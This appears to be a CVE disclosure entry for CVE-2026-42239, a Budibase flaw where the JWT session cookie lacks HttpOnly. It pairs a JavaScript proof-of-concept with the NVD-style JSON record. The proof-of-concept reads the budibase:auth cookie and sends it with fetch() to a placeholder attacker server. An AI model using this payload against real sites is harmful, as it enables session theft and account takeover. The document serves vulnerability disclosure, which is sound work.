CVE-2026-42239

<!-- Proof of Concept (PoC): Demonstration of Cookie Theft via XSS Context: Budibase < 3.35.10, budibase:auth cookie lacks HttpOnly flag. --> <script> // Function to exfiltrate the JWT token function exploitXSS() { // Since httpOnly is false, JS can read the cookie const cookies = document.cookie; const targetCookieName = 'budibase:auth='; // Simple parsing to find the specific cookie const startIndex = cookies.indexOf(targetCookieName); let jwtToken = ''; if (startIndex !== -1) { let endIndex = cookies.indexOf(';', startIndex); if (endIndex === -1) { endIndex = cookies.length; } // Extract the token value jwtToken = cookies.substring(startIndex + targetCookieName.length, endIndex); // Send the token to an external server controlled by the attacker // In a real scenario, this would be an attacker's URL const attackerUrl = 'https://attacker-controlled-server.com/log?token=' + encodeURIComponent(jwtToken); // Use fetch() or new Image() to send the data fetch(attackerUrl).then(() => console.log('Token exfiltrated successfully')); } else { console.log('Target cookie not found.'); } } // Execute the exploit exploitXSS(); </script>

{"cve": {"id": "CVE-2026-42239", "sourceIdentifier": "[email protected]", "published": "2026-05-07T20:16:44.097", "lastModified": "2026-05-07T20:35:58.117", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1004"}]}], "references": [{"url": "https://github.com/Budibase/budibase/releases/tag/3.35.10", "source": "[email protected]"}, {"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r", "source": "[email protected]"}, {"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}